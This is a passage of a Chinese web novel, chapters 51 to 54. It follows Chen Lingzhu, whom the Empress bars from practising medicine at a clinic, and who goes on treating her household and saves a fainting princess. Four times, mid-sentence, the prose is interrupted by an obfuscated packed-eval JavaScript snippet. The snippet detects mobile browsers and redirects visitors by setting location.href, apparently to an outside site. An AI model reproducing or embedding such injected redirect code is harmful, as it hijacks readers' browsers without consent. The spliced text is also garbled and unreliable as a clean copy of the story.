陈灵珠还在犹豫,李济又将东西往她这边推了推:“哪有男子成亲后还要自己管私库的!你不收,莫非是打着你我账目分开的主意?” 陈灵珠被说中隐藏的心思,倒不好不收了,她笑着接过道:“我要是把你的私库都挥霍了,你可别找我算账。” 李济道:“挥霍就挥霍了,我的东西给你挥霍,感觉也不错。” 陈灵珠:“……” …… 将东西准备停当,在医馆外挂好牌子说明规矩,仁心医馆的义诊便开始了。 一开始得到消息的人不多,但一传十十传百,不少患病的流民和贫苦人家都赶了过来。一时间,仁心医馆热闹得好像市集。 杨绾柔和李照芙站在医馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808197|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的小巷子口,李照芙神色复杂地望着给衣衫褴褛的流民把脉的陈灵珠。 杨绾柔嫌恶地皱了皱眉,冷哼一声道:“她倒是不嫌脏。” 又对李照芙道:“阿芙,你们镇国公府真就这么纵着她?” 跟从前她说陈灵珠坏话时不一样,李照芙这次没有附和她。她眉头紧皱地看了陈灵珠好一阵,也不知在想些什么,然后一言不发地走了。 杨绾柔见李照芙不理她,心中不悦,脸待李照芙走后瞬间垮了下来,跟她的丫鬟翠玉抱怨道:“真难伺候!狗咬吕洞宾!我还不是为他们着想!” 翠玉最懂她的心思,连忙附和道:“是啊,就跟表姑娘似的,说变脸就变脸。” 杨绾柔咬牙,什么时候,她能不用看李照芙和陈灵瑛这些人的脸色就好了。到底什么时候,她才能位于她们之上? 她愤愤地望着陈灵珠,忽然旁边一个女子的声音道:“真是伤风败俗!堂堂镇国公府世子夫人,竟做出这种低贱的事!丢我们世家女子的脸!” 杨绾柔扭头一看,是武安侯的二女儿周凝萱。 武安侯如今虽然被撤了枢密使一职,可他的大女儿还是宫里的淑妃。有这样即使父亲犯了错也还是一如既往受陛下宠爱的女儿,武安侯官复原职是迟早的事。他们府里的公子们虽说都娶了妻,但其他的亲朋故旧也是非富即贵。 想通了这一切,杨绾柔忙应和周凝萱道:“周姑娘说的是,没见过这么上赶着犯贱的,好好的贵夫人不做,偏要与这些流民摸手摸脚,自甘堕落!” 这话难听得甚合周凝萱的心意,她打量了杨绾柔几眼,见是常陪在陈灵瑛身边的那个安平伯的女儿,皮笑肉不笑道:“没想到杨姑娘作为她的亲戚也这么想。” 杨绾柔连忙道:“周姑娘有所不知,我与这位也算不上什么亲戚,不过是因为故去姑母的关系,与她认识罢了。这位从小就性格古怪,总是做些上不得台面的事,与我合不来。” 安平伯府家的情况,周凝萱也知道些,本来她是有些看不上杨绾柔的,但听杨绾柔说了话才发现,原来这位安平伯府的姑娘是如此善解人意之人。 她笑道:“原来杨姑娘如此有见识,与我的脾性倒是相合。” 两人有了共同的敌人,自然分外亲热,很快聊得热络。 …… 李照芙上了马车,吩咐回府,将头靠在车壁上发着呆。 她刚才看到陈灵珠给流民诊脉的样子,心里很是难受,有一种非常强烈的不舒适,让她想冲上前去把陈灵珠搭在那些又脏又臭的人手腕上把脉的手用力挥开。 她从前是绝对想象不到她们这样的贵女去给这些穷人和流民诊脉的,何况这些人当中还有男子,男女授受不亲啊。 可是另一方面,从心底里,隐隐约约的,她又有些佩服陈灵珠。 佩服她可以全然不在乎旁人的眼光,也不嫌脏不嫌臭,淡定地给那些人把脉。 这样的事情,她永远也做不到。 这样的陈灵珠,她大概也是永远比不了的罢。 51. 第 51 章 陈灵珠日常在医馆忙碌,但她作为镇国公府的世子夫人,有些场合却是不能不出席的,譬如皇后的生辰。 七月二十是皇后生辰,镇国公府数位女眷包括陈灵珠进宫给皇后贺寿。 女眷们刚迈入慈宁殿,一个头戴凤冠,身着霞帔、大绶的女子就迎了出来。 正是皇后。 众人连忙行礼,“给皇后娘娘请安。” 皇后连忙将镇国公夫人、二夫人、三夫人依次扶起,笑道:“都是一家人,几位舅母、表妹何须多礼?” 皇后的亲切和热情一如往常,不但亲自出门相迎,还搀着镇国公夫人进了配殿,又连叫赐座,并让宫女将位置安在离自己最近的左侧。 迎着堂内众人或是歆羡,或是妒忌的目光,镇国公府众女眷款款落座。 陈灵珠看了一眼堂内众人。皇后简朴,早就声明今年的生辰不会大肆操办,但她毕竟是母仪天下的皇后,今日还是来了不少人。 来者之中,有宫里位分高的嫔妃、皇后的娘家人、傅映瑶的婆母和母亲张夫人、田夫人、傅映瑶及其他或生或熟的面孔。淑妃、武安侯夫人、周凝萱等因武安侯的关系称病未出现,陈灵珠的母亲陈夫人倒是在,但座次在后面。陈灵瑛则没来。 陈灵珠朝几个识得的长辈致意,并朝傅映瑶笑了笑,傅映瑶也会意一笑,用口型告诉她明日去医馆找她。 因今日是皇后生辰,镇国公夫人给皇后献上一座玉观音,皇后爱不释手,道:“舅母有心了,我早就想请这么一尊菩萨了,可惜一直没遇到合适的。” 部分女眷见皇后唯独对镇国公府的礼物青眼有加,暗道帝后对镇国公府果然看重。 与众人闲谈了一会儿,皇后招招手让李照芙来到她面前:“阿芙也十五了罢?” 李照芙笑着说是,皇后笑道:“阿芙可真是招人喜欢,我若有这么个亲妹妹就好了。” 众人听了这话,神色各异,疑心皇后是想让李照芙进宫。镇国公府现如今虽不必靠女儿去争权夺势,但陛下有此意,足可见陛下对镇国公府的偏爱。 镇国公夫人笑道:“她哪有这个福分,不过是个不懂规矩的丫头罢了,娘娘也太抬举她。” 皇后道:“舅母也太自谦了,就是本宫,也是进了东宫,才算识了些规矩。女子没嫁人之前,只要大体上不错,活泼些也无妨,成了亲嫁了人,自然就会安心相夫教子了。 镇国公夫人看了李照芙一眼,笑道:“她哪配跟娘娘比,她年纪小,心又野,跟野马似的,拴都拴不住。臣妇常跟她祖母说,她这个样子,只怕要留在家里好好管教几年,不然嫁到哪家去,也是祸害人家。” 李照芙不满地娇嗔道:“娘也把我说得太不堪了!” 皇后笑道:“就是,我们阿芙明明很好。” 镇国公夫人笑道:“娘娘快别捧着她,否则她更不知天高地厚了。” 皇后笑了笑,没再说什么,招手让其他的姑娘上前说话。 皇后的寿宴开席,席间,皇后笑问左下首的镇国公夫人道:“济之到工部就职,一切可好?” 镇国公夫人说谢娘娘关心,一切很好,皇后道:“济之死里逃生,虽说如今日益见好,但还是小心为上,舅母和灵珠可千万劝他多加保养。就是平日在工部,也别太过劳累才好。” 镇国公夫人和陈灵珠谢过皇后,说李济已经无大碍,请陛下和皇后娘娘放心。 皇后似放下心头大石,道:“听到舅母和灵珠这样说,陛下和本宫总算可以放心了。当初济之受伤,可真是把陛下和本宫吓坏了。尤其是陛下,济之昏迷了几日,他就坐卧不安了几日。” 又咬牙道:“可恨那胡人,竟敢害我朝廷栋梁!” 李济到底是谁人所害,众女眷本来不甚肯定,听皇后这话头,竟是胡人无疑了,连忙齐声附和,一时间,满堂皆是痛骂胡人之声。 陈灵珠将这一切看在眼里,那种不对劲的感觉又从心里涌了出来。 但还没等她想清楚,皇后又道:“听说灵珠在医馆做大夫?” 陈灵珠说是,皇后笑道:“灵珠真是有一颗仁爱之心。不过,济之如今正是需要照顾的时候,你何不留在府中,全心全意照顾济之?” 陈灵珠忙道李济身体已好得差不多了,并不需要怎么照顾,且府中有叶太医照应,无需担心。而自己虽在医馆做事,但镇国公府内诸事也能兼顾。 皇后笑道:“你虽然能干,但我们身为女子,始终相夫教子才是我们的第一要务。” 陈灵珠有些懵,心里更是一沉,刚想说话,国公夫人在旁边笑道:“娘娘,如今与从前不同了,女子在外经商、行医的不少,还有做西席、做镖师,去从军的。太夫人和臣妇想着,既然孩子喜欢,让她试一试也没什么。” 皇后笑道:“可见外祖母与舅母是真心疼灵珠了。不过,我们这样人家毕竟与市井人家不同,执掌中馈,相夫教子,人情来往,难道还不够我们忙的么。” 镇国公夫人道:“娘娘——” 皇后笑道:“舅母,济之今年也二十二了,膝下还无一儿半女,依本宫看,让灵珠待在府中,早日为镇国公府开枝散叶才是正事。” 陈灵珠如遭雷劈,无法接受皇后几句话之间就将她的行医之路断送。她顾不上为“开枝散叶”四字害羞,急道:“娘娘,行医也不耽误相夫教子,臣妇——” 皇后抬手阻止了她,微笑道:“灵珠,舅母可是执掌中馈的一把好手,你可要跟舅母好好学啊。” 这句话,已是不想再说,让此事到此为止的意思。 皇后如此,镇国公夫人也只能朝陈灵珠摇了摇头,示意她别再说了。陈灵珠绝望地望着皇后,脸色白得像纸。她忍了又忍,死命地掐着自己,才没失态。 皇后却似没看到她失魂落魄的脸,依然谈笑风生。 熬到晚宴结束,陈灵珠浑浑噩噩地随镇国公夫人走出宫门,只想尽快回到镇国公府。 在等马车过来的功夫,她的母亲陈夫人走到她面前,对她叹道:“珠儿,娘早就跟你说过,什么悬壶济世,那不是我们女人家该做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812690|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。如今娘娘都开了口,你就从此放下罢。” 一旁的一位属于武安侯阵营的御史台夫人,平日并不与镇国公府女眷来往,近日又因女儿想效仿陈灵珠在家里大闹天宫,故而她对陈灵珠行医一事又是鄙视又是暗恨——恨她带坏了女儿。这时忍不住道:“世子夫人,这大夫不做也罢了,我听说,为此事,镇国公府可是招了不少非议呢。那些难听的话,哎呦,我都不好意思说。” 同属武安侯阵营的刑部侍郎丁有之的夫人阴阳怪气道:“是啊,有些人说得可难听了,什么“抛头露面”、“不守妇道”、“有失闺范”、“败坏门风”,哎呦,真是要多难听有多难听。” 此话一出,旁边的人都倒抽一口冷气,陈灵珠行医一事是有人说些闲话,有些还说得很难听,但那都是背后。从来没有人像这位丁夫人一样,当着陈灵珠和镇国公府其他女眷的面,就这么尖酸刻薄地冷嘲热讽。 傅映瑶听不下去了,大声道:“行医乃是济世救人,怎的你们说起来,倒像犯了天条似的?” 丁有之夫人道:“哎呦张少夫人,您可冤枉我了,这可不是我说的,是别人说的。我只是告诉李少夫人,外面有些闲话罢了。” 镇国公夫人向来不屑于与这些长舌妇争些无谓的口舌,然而陈灵珠从医是她和太夫人同意了的,皇后不许也就罢了,几时轮得到这些不相干的外人说三道四? 她冷笑道:“怎么竟有人闲成这样,非要给我儿媳妇扣上这许多不堪的帽子?我们镇国公府不比那些口中道貌岸然、内里却藏污纳垢的人家,小辈们只要不作奸犯科,遵循礼法,要做什么,尽管去做,无论从医还是从军,都是无妨。皇后娘娘的本意,不过是希望我儿媳妇腾出更多时间照顾我儿,本是一片好意,怎么就成了别人攻击我儿媳的理由?丁夫人再听到别人说这样的话,不妨提醒那人,口业如山,一言不慎,便可招致无边苦果,何况如此恶语伤人?再不忏悔改过,是要下阿鼻地狱的!” 她疾言厉色,说的虽是别人,却等同于指着丁有之夫人的鼻子骂。 丁有之夫人虽不怕得罪镇国公府,却也不敢公然在宫门口与镇国公夫人对阵。 强撑着顶了几句,到底讪讪地走了。 其他人见战斗力最强的丁有之夫人尚且如此,也就一哄而散。 二夫人见人都走了,对着陈灵珠不满道:“看罢,早就叫你别做什么大夫,如今可好,丢人丢到皇后娘娘面前去了!” 镇国公夫人皱了皱眉,冷道:“二弟妹,外人落井下石便罢了,你作为镇国公府的二夫人,灵珠称呼婶娘的人,也要如此是非不分吗?” 二夫人冷哼一声道:“你们就惯着她罢,总有一日惯出事来。” 说着,忿忿地走了。她的媳妇温月如悄声对陈灵珠道:“二弟妹别把那些那些闲话放在心上。” 二夫人见媳妇没来,不满地回头叫道:“月如,你还磨蹭什么?” 温月如应了一声,连忙快步走了。 镇国公夫人拍了拍陈灵珠的手,温和道:“回罢。” 52. 第 52 章 陈灵珠不知自己怎么回到梅林上筑的,她扑到床上,想大哭一场,却发现自己一滴泪也流不出来。 她闭上眼睛想睡着,这样就能什么也不必想了,脑子里却纷纷乱乱,怎么也睡不着。 奶娘和两个丫鬟安慰她说,太夫人和世子一定会帮她的,让她不必太过于灰心。 陈灵珠倒不是认为太夫人和李济不会帮忙,只是,即使他们帮她,只怕希望也很渺茫了。 皇后今日是在众目睽睽之下说的那些话,在场的所有人都听见了,这时让太夫人出面,恐怕也改变不了什么,否则,皇后的脸面何存? 陛下那里亦是同理,即便李济或者太夫人去找陛下,陛下也不在意她行医或者不行医,但皇后既然说出了口,陛下又岂会公然扫皇后的脸面? 她越想越心烦,跑到马厩,将李济帮她选的一匹枣红小母马牵到马场,在马场内狂奔。人和马都出了一身的汗,她心中的郁结却一点没有消散。 无力地坐在马场的泥地上,她弯曲双膝,将头枕在膝盖上。 李济不知何时坐到了她的身边。 “对不起。”他道:“没能帮到你。” 他今日去找了皇帝,皇帝的说辞与皇后一样。 其实他知道皇后为何会这么做,也知道他去找皇帝也于事无补,但他还是去了。 最后一丝希望彻底破灭,哪怕早有预料,陈灵珠心里仍然重重地一沉。 她摇头,想说与他无关,却突然掉下了一滴泪。 她觉得有些丢脸,伸手擦去,眼泪却越擦越多,最终,她忍不住嚎啕大哭起来。 她的行医之路,她从小为之付出了多少心血和努力的梦想,如今因为皇后的一句话,就这样断了。 她不甘心,可那是皇后说的话,她能怎么办呢。 她很愤怒,可是她又能做什么呢。 越想越觉得心灰意冷,越哭也就越大声。 李济没再说话,只是用力地拥着她,任由她将泪水和鼻涕都弄到他的肩膀上。 “你且忍耐,将来,我必会让你重新当上大夫。”他在她的耳边道。 这话听起来更像是安慰而不是许诺,她何尝不知,越发哭得声嘶力竭。 过了好一阵子,她哭得累了,才渐渐止住。 李济掏出他的帕子,仔细将她的脸揩净,道:“好了,不哭了,再哭眼睛睁不开,就真的变成一只小猪了。” 她想说他才是猪,但不必李济说她也知道自己眼皮必定肿胀得厉害,可不就像朦胧的猪眼睛? 她无法辩驳,将下巴伏在膝上不说话。 她这个样子实在是可怜又可爱,李济捏了捏她的脸。 被他这么一闹,她总算平复了下来。 “夫君,你觉得,皇后为何不让我去医馆做大夫?”她吸了吸鼻子,用沙哑的声音问李济。 皇后与她往日无仇近日无怨,从前她没嫁给李济之前,皇后也不过是无视她罢了,怎的她成了李济的妻子,皇后反倒要管起她来? 帝后待镇国公府的好有目共睹,就是今日,皇后待镇国公府女眷也格外亲厚,为何今日皇后会突兀地提起此事,甚至国公夫人为她求情,皇后也不为所动,似是早就有了决定。 皇后给出的理由倒是冠冕堂皇,说是为了李济,但她觉得总觉得这不是真实的原因。 若是认为行医一事有伤镇国公府体面,皇后也应当私下召见她或者镇国公夫人,而不是当着众人的面如此行事。 此前影影绰绰,被她按下去数次的怀疑又浮了起来,她望着他,希望他能解答她的疑惑。 他道:“皇后是个守旧的人。” 皇后是国子监祭酒之女,众所周知祭酒是个古板的人,遇事多因循守旧,皇后作为他的女儿,随了他并不奇怪。 但这个理由并不能说服陈灵珠。 她犹豫了一会儿道:“夫君,你告诉我,陛下对镇国公府的好是真的吗?” 李济望了她一会儿,笑道:“当然是真的,你别多想。” 陈灵珠仍然半信半疑,然而李济神情诚挚,并不像在哄瞒她。 李济虽年轻,可并不是初出茅庐的愣头青,以他的敏锐,如果皇帝真的忌惮他,他不可能一无所觉。 大概真的是她多心了。 罢了,她也不必多嘴,免得挑拨了他们君臣关系。 两人回到梅林上筑,李庸竟然也在,原来他听说了陈灵珠不能做大夫的事,特地过来安慰她。见陈灵珠回来,他眼睛一亮。又见她面有泪痕,连忙用肉乎乎的小手轻轻摸了摸她的脸。 “嫂嫂你哭了?” “嫂嫂别哭。”他道:“嫂嫂不能去医馆,但庸儿可以做嫂嫂的病人。” 陈灵珠又是感动又是心酸,抱住李庸,差点又流下泪,“嫂嫂虽然想做大夫,却不想庸儿做我的病人,庸儿可不能生病。” 李济道:“庸儿这么一提醒,我倒是想到一个权宜之计。” 陈灵珠问他什么权宜之计,李济笑道:“府医。” 陈灵珠一愣,随即明白过来,眼睛渐渐发亮。李济说得没错,皇后是说不让她去医馆行医,却未说,她不能在镇国公府里继续做大夫。从前她只给梅林上筑的下仆们看病,但镇国公府上上下下加起来,可是有几百人口呢。 “那叶太医怎么办?他可是奉旨留在镇国公府的。” 李济笑道:“让他回去罢。有了你这个大夫,这府里也用不着他了。” 他们既然要把她拘在府里,总要付出一点代价。正好,借着这个机会,把叶太医这根眼线清出镇国公府。 “还是说,你希望他留下,好时时与他切磋医术?” 陈灵珠摇了摇头,老实说,那叶太医医术比起她的师父楚大夫来不算高明。此前她也以为太医必定医术不凡,曾去找他讨教,但几次接触下来,却不禁失望。 翌日傍晚,叶太医便离开了镇国公府。 不过,虽然陈灵珠曾去仁心医馆做过大夫,除了李济等,镇国公府众人仍对她持怀疑态度。尤其是二夫人,明里暗里不知笑话了她多少次。 陈灵珠无法强迫别人相信她,更无法禁止别人从府外请大夫。 过了两日,太夫人把她叫了过去。 “陈大夫,”太夫人笑吟吟道:“风湿的老毛病,你可能治?” 于是连着几日,陈灵珠都到太夫人的院子给她针灸、按跷、拔火罐。 这祖孙俩一个敢扎,一个敢被扎,也不知是陈灵珠医术到家,还是太夫人存心给她助力,又或者二者兼有之,总之,太夫人宣称她好了许多,还称陈灵珠为“神医”。 有太夫人的大力宣扬,不仅镇国公夫人、镇国公府的姑娘们、丫鬟婆子,连隔房的长辈、嫂子、弟媳、姐妹们,都来找陈灵珠把脉、开方调理。 也是无巧不成书,一个隔房的堂嫂嫁进来两年未有身孕,陈灵珠给她把脉七日后,竟传出了喜讯。 其实隔房堂嫂怀孕一事,完全是巧合。那堂嫂来找她,她便给她把了脉,发现堂嫂身体康健,没有任何问题。有时候病能否治好,跟心境大有关系,怀孕也是同样的道理,她便劝堂嫂放宽心,缘分到了子息自然就有了。她只是把了脉,堂嫂七日后就传出喜讯,想来在此之前就已经有了,只是月份太小未能诊断出来,她本来还为自己学艺不精而惭愧,堂嫂却把这功劳安在她头上,实在让她心虚。无奈怎么解释,堂嫂就是不信,坚持说她是神医,就算不是神医,也是她的福气带来的这孩子,对她千恩万谢的,还给她送了礼来,把她弄得万分不好意思,只好选了些安胎的补品回过去了。 从此以后,每天来找陈灵珠看病的络绎不绝,她差点以为自己回到了仁心医馆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819338|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但镇国公府的病人到底有限,门庭若市的梅林上筑过了半月后渐渐冷清了下来。 陈灵珠闲着无事可做,便帮着镇国公夫人打理中馈。 她在这些事情上大概是有些天分的,很快便上了手,镇国公夫人也点头赞许。 时间虽然都打发了,但她心里总归还是有些遗憾,奶娘便让紫苏和茯苓多陪着她出去散心,美味的食物虽然不能解决问题,但至少让她的心里有些慰藉。 这日打发走了管事,紫苏道:“少夫人,去聚味楼用膳罢?” 聚味楼的水晶肘子让人回味无穷,陈灵珠答应了,带着两个丫鬟和奶娘同去。 下了马车,伙计将她们迎向二楼的厢房,刚拐过弯,却差点撞到人。 陈灵珠吓了一跳,往后倒了一步,定睛一看,竟是李照芙和她的丫鬟冬香、秋香。李照芙额头上满是汗,脸色苍白,全无平时的贵女气度,冬香、秋香也是满脸惊慌。 见了陈灵珠,李照芙像见到了救星,声音带着哭腔拉住她语无伦次道:“救命!安阳……安阳,安阳倒、倒了,吐、吐泡泡。” 安阳郡主是雍王之女。雍王是先帝一母同胞的亲弟弟,与先帝十分亲近,且素有贤名,据说,先帝曾动过把皇位传给雍王的念头。 但因为种种原因,此事终未能成。皇帝萧煜即位后,雍王便甚少过问朝事。不过,皇帝对雍王这个王叔十分尊敬,雍王地位超然,所以安阳郡主这个雍王的掌上明珠,无论走到哪里,都是前呼后拥、众星拱月的人物。 但李照芙看不上安阳郡主,她觉得安阳郡主太蠢太嚣张。 安阳郡主同样看不上李照芙,父兄的战功也不是她的,不知道她骄傲个什么劲儿。 两人在大小场合上交手无数次,安阳郡主是个郡主,李照芙不能拿她如何,但镇国公府也不是吃素的,要是李照芙有个三长两短,雍王非打断安阳的腿不可。 所以尽管互相看不惯,双方也只能在嘴上交交锋。 今日也是如此,“仇人”见面分外眼红,两人一见面就掐了起来,也不知李照芙哪句话戳到了安阳郡主的肺管子,她突然就倒下不说,还口吐白沫,不停抽搐。 一开始李照芙还以为她是装的,但随后才知安阳是真的发病。 李照芙都快吓死了,她是喜欢和安阳郡主吵嘴没错,但不希望她死啊。安阳带来的几个丫鬟也是不顶事的,乱糟糟的全没个主意,还指责她害死了她们郡主。 李照芙又气又慌,便冲下来去找大夫,就这样,那些婢子还拦着她不让走呢。 李照芙脸色煞白,愈发嘴唇都要抖起来,看得陈灵珠心里发急,索性推开她,快步踏进她指着的那个厢房之中。 进了厢房,先看到五六个婢女围成一圈,连声叫着郡主。 陈灵珠让她们快散开。 几个婢女抬起头,一时有些犹豫,不知该不该听。 陈灵珠道:“你们再这样围着郡主,郡主就该真的有事了!速速散开!” 几个婢子这才退开了些。 陈灵珠看向安阳郡主,只见她人事不醒地倒在地上,口吐白沫,手脚还在抽动。她蹲下身,看了看安阳郡主的口鼻眼睑,又给她把了把脉,道:“不妨事,缓一缓就好了。” 说着,她拿出随身携带的针包,道:“我给她扎几针,能醒得快些。” 安阳郡主的婢子又想拦,李照芙见陈灵珠说安阳郡主无大碍,顿时胆气壮了起来,喝道:“她是大夫,听她的!” 陈灵珠将银针依次插.入安阳郡主的成冲、百会、风府、太冲等穴位,没过多久,安阳郡主果然悠悠醒转。 安阳郡主既醒了,陈灵珠便叫她们小心送安阳郡主回去,自己到隔壁厢房用膳去了。 这一顿,她吃得格外香甜,奶娘和两个丫鬟暗暗好笑,她们少夫人只要做回大夫,就心情畅快。 53. 第 53 章 从聚味楼回来,陈灵珠心情愉悦,晚上做了个好梦。 次日,她睡醒了起床,正让茯苓给她梳着头,眼角余光瞥到李照芙扭扭捏捏地走了进来。 茯苓和紫苏对视一眼,互相交换了个眼色。 “什么情况?” “不知道,等着看罢。” 二人蹲了蹲身朝李照芙行了礼,继续手头的事。 李照芙望着陈灵珠站了一阵,见陈灵珠望着梳妆的镜子没理她,也没作声,默默站在一旁。 陈灵珠梳好了头,站起身,越过李照芙来到西次间用早膳。李照芙又跟了过来,坐到食案旁边。 陈灵珠依然没理她,不紧不慢地吃着东西。 李照芙几次欲言又止,终究还是什么也没说,低垂着头坐着。 等陈灵珠吃好了,簌了口,她才开口。 “二嫂——”,这两个字对李照芙来说颇有点难以出口,毕竟此前她一直不肯承认陈灵珠是她的嫂子,但她鼓起勇气,没让自己退却,“昨日之事,多谢你了。” 陈灵珠这时才看她一眼,淡淡道:“你不必谢我,我本也不是为了你。” 李照芙道:“要谢的,昨日若不是你,我……” 昨日看到安阳郡主那个口吐白沫的模样,她真的吓坏了,若不是陈灵珠来了,她都不知道怎么办才好。就算陈灵珠不是为了她,她也感激陈灵珠。 “还有之前……之前我说过一些不好的话,二嫂大人有大量,不要跟我计较。” “是我不好,二嫂能原谅我吗?” 一般而言,小姑子都来道歉了,看在太夫人和国公夫人的面子上也好,为了李济也好,陈灵珠应该就坡下驴,大度地表示原谅李照芙,从此大家就是和和气气的一家人。 但她不想这么做。 “不能,我不想原谅你。” 李照芙:“……” 她难过道:“是我错了,二嫂不原谅我也是应当的。” 她这是以退为进,陈灵珠看得清清楚楚,她不为所动道:“你之前太过分了,若我轻易原谅你,我也太对不起我自己了。” 李照芙:“……” “那二嫂……要怎么样才能原谅我?” 陈灵珠一时也没想好,她道:“我还不知道,但你道歉的意思我收到了,你现在可以回去了。” 李照芙:“……” 她看了看刚刚进门、应该听到了她们对话的哥哥,满怀希冀地望着他,希望哥哥能帮她说两句好话,解了她此时的困境,但哥哥道:“你嫂嫂既然说了不原谅你,你先回去罢。” 李照芙:“……” 没办法,她垂头丧气地出去了。 李照芙走了,陈灵珠看向李济,问他:“夫君觉得我太小气了?” 她或许是不够大度,但她有自己的打算。 李照芙来道歉,她不是不可以原谅李照芙,但李照芙这种人,太热情地贴上去,只会让她看不起,同样,太容易原谅她,说起来是大度,但李照芙会怎么想呢?说不定觉得她轻贱,以后也不会真正把她看在眼里。 太容易解决的人,本来就不值得人家当回事。 李济好生冤枉,他还什么话都没说。 “这一件事,我支持你。” 李照芙确实过分了,他很赞成给她些教训。 “真的?阿芙妹妹可是夫君的亲妹妹,夫君难道不希望我与她和睦相处吗?” 李济笑了:“希望。但错的是芙儿,我没有理由为了错的人委屈了你。” 她愿意原谅李照芙固然很好,可要是她不愿,他也并不想勉强她。 并且,他很欣赏她没有一昧息事宁人而委屈自己的态度。 他认真道:“无论你对芙儿如何,都是她该得的,原不原谅她全凭你自己。” 陈灵珠放下心来。 她虽然坚持自己,可多少也有些担心李济会怪她不够大度。 一般的男子,大概总是希望妻子与妹妹亲亲热热的罢,哪怕那是假的。李济如果真的这样要求她,不管她最后决定怎么做,都会跟李济生了嫌隙。 还好,李济不至于这般帮亲不帮理。 她想了想又道:“夫君跟我这么说,难道不怕母亲怪罪你?” 李济:“芙儿早就应该受点教训,你这还是帮了娘的忙呢。以我对娘的了解,娘不会怪罪我,更不会怪罪你。” 她笑道:“你真的这么想?” 李济笑道:“当然。” “那你不怕我对阿芙妹妹太过分了吗?” 李济笑道:“你会吗?” 除了惹到她时像炸毛的公鸡,总体来说,陈灵珠对人还是很不错的,该孝顺的孝顺,该爱护的也会爱护。 他相信她是讲道理的人。何况,即便偶尔不讲理,那又如何?身为他的妻子,难道连这点小任性也不能有? 陈灵珠笑道:“说不定。” 李济好笑地看着她:“那等你做出什么过分的事情来再说。” 陈灵珠:“……” …… 过了两日便是中秋节,按照惯例,阖府人要在芷兰厅用晚膳,陈灵珠看着时候差不多了,便来到了芷兰厅。 长辈们还没到,陈灵珠按着平日的座次安排在最上面一桌坐了下来,刚刚坐定,一个人影马上闪到她的身旁。 她偏头一看,是李照芙。 李照芙叫了一声:“二嫂。” 上头这一桌一般是太夫人等长辈们还有李济、陈灵珠几人坐,但偶尔也有其他孙辈坐过来,李照芙既要坐,陈灵珠不能赶她走,但她也不是一定要理她。 见陈灵珠不理自己,李照芙有些讪讪,但终究还是没走开,坚持坐在陈灵珠身边。 不一会儿,人陆陆续续到齐了,李济过来看到李照芙坐在陈灵珠旁边,倒没说什么,只挑了挑眉,坐到陈灵珠的另一边去了。 李照芙坐在陈灵珠旁边,除了李济,其他人也看见了。 太夫人一向希望她们姑嫂和睦相处,但李照芙对着陈灵珠一直乌眼鸡似的,劝也劝不住。如今孙女儿愿意主动与孙媳妇和好,太夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二夫人不敢明说陛下忌惮雍王的话,只道:“济儿媳妇,不是二婶说,你下次行事,也要注意着些。这头皇后娘娘刚让你别在外头行医,你倒好,一转脚又做起大夫来了。这次救的是安阳郡主,娘娘自然谢你,但你要老是这样不听话,万一闹出乱子来,可如何是好?” 说完这番话,二夫人得意地看了镇国公夫人一眼——赵氏既然不愿教儿媳妇,那她替她教。 二夫人话音落下,李济微微转了转头,淡淡地看了李照芙一眼。 李照芙本来恹恹的,见了哥哥投过来的眼神顿时一个激灵,立即心领神会——她将功赎罪的机会来了。 论伶牙俐齿,她其实不输,也就是遇上了陈灵珠才会折戟沉沙。 如今对上二婶娘,那还不是手到擒来? 她心里摩拳擦掌正要开口,却忽然听得李庸道:“二婶婶,庸儿有一事不明,二婶婶可能替庸儿解惑?” 二夫人微微皱了皱眉,她正在教训陈灵珠,这大房的小娃儿这时候捣什么乱?一个小小孩子,怎么这般不懂规矩?赵氏也真是的,平时也不认真教导,以致于这孩子这般没眼色。 她有些不耐烦,但众目睽睽之下也不好不理李庸,只能道:“你要问什么?” 李庸道:“庸儿是想问二婶婶,为何大哥哥出去花天酒地,二婶婶不担心他闹出乱子,二嫂嫂嫂治病救人,二婶婶却说会闹出乱子?难道见死不救才是对的吗?” 二夫人:“……” 54. 第 54 章 李庸的话一出,满堂皆静了一瞬,都没想到李庸会这样语出惊人。 不知谁先笑出声来,随即,满堂皆笑了。就是被说“花天酒地”的李海本人,也没有生气,指着李庸笑道:“你个小小娃儿,知道“花天酒地”是什么意思吗?” 李庸板正着脸没说话,他又不是三岁小童,如何不知道“花天酒地”是什么意思?他不仅知道花天酒地的意思,还知道二嫂嫂治病救人没有错,不应该被冷嘲热讽。 